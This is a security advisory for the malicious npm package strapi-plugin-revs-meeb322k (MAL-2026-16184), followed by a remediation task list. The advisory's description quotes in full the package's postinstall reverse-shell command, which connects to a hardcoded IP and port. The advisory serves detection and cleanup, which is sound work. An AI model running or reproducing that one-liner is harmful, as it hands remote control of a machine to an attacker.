MAL-2026-16184 Malicious code in strapi-plugin-revs-meeb322k (npm)
Malicious package
Published
MAL-2026-16184 is a malicious package: strapi-plugin-revs-meeb322k (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-16184/ (Markdown: https://insights.sbomify.com/MAL-2026-16184/index.md)
- Package
- strapi-plugin-revs-meeb322k
- Registry
- npm
What is MAL-2026-16184?
MAL-2026-16184 is a malicious package in strapi-plugin-revs-meeb322k, published on 15 Sep 2026.
Official description
[email protected] ships a postinstall.js registered as scripts.postinstall in package.json. On
npm install, the script runs child_process.exec of bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1 2>&1', opening an interactive reverse shell from the installer's machine to the hardcoded remote endpoint 14.225.210.85:443 and giving the operator of that endpoint arbitrary command execution on the installer.What should I do about MAL-2026-16184?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.